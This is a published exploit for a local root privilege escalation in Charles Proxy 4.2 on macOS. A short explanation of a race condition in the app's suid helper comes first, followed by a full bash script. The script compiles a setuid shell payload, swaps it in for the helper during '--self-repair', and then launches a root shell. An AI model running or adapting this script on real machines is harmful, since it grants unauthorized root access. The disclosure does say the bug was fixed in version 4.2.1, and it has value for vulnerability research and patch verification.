Charles Proxy 4.2 Local Root Privilege Escalation

`Charles Proxy is a great mac application for debugging web services and  
inspecting SSL traffic for any application on your machine.  
  
In order to inspect the SSL traffic it needs to configure the system to use a  
proxy so that it can capture the packets and use its custom root CA to decode  
the SSL.  
  
Setting a system-wide proxy requires root permissions so this is handled by an  
suid binary located within the Charles application folder:  
  
/Applications/Charles.app/Contents/Resources/Charles Proxy Settings  
  
Unfortunately this binary is vulnerable to a race condition which allows a local  
user to spawn a root shell. It supports a parameter "--self-repair" which it  
uses to re-set the root+suid permissions on itself, with a graphical dialog  
shown to the user. However if this is called when the binary is already  
root+suid then no password dialog is shown.  
  
It doesn't validate the path to itself and uses a simple API call to get the  
path to the binary at the time it was invoked. This means that between executing  
the binary and reaching the code path where root+suid is set there is enough  
time to replace the path to the binary with an alternate payload which will then  
receive the suid+root permissions instead of the Charles binary.  
  
This issue was fixed in Charles 4.2.1 released in November 2017.  
  
https://m4.rkw.io/charles_4.2.sh.txt  
2f4a2dca6563d05a201108ec6e9454e2894b603b68b3b70b8f8b043b43ee9284  
-------------------------------------------------------------------------------  
#!/bin/bash  
  
####################################################  
###### Charles 4.2 local root privesc exploit ######  
###### by m4rkw - https://m4.rkw.io/blog.html ######  
####################################################  
  
cd  
user="`whoami`"  
  
cat > charles_exploit.c <<EOF  
#include <unistd.h>  
int main()  
{  
setuid(0);  
seteuid(0);  
execl("/bin/bash","bash","-c","rm -f \"/Users/$user/Charles Proxy Settings\"; /bin/bash",NULL);  
return 0;  
}  
EOF  
  
gcc -o charles_exploit charles_exploit.c  
if [ $? -ne 0 ] ; then  
echo "failed to compile the exploit, you need xcode cli tools for this."  
exit 1  
fi  
rm -f charles_exploit.c  
  
ln -s /Applications/Charles.app/Contents/Resources/Charles\ Proxy\ Settings  
./Charles\ Proxy\ Settings --self-repair 2>/dev/null &  
rm -f ./Charles\ Proxy\ Settings  
mv charles_exploit Charles\ Proxy\ Settings  
  
i=0  
  
while :  
do  
r=`ls -la Charles\ Proxy\ Settings |grep root`  
if [ "$r" != "" ] ; then  
break  
fi  
sleep 0.1  
i=$((i+1))  
if [ $i -eq 10 ] ; then  
rm -f Charles\ Proxy\ Settings  
echo "Not vulnerable"  
exit 1  
fi  
done  
  
./Charles\ Proxy\ Settings  
  
  
`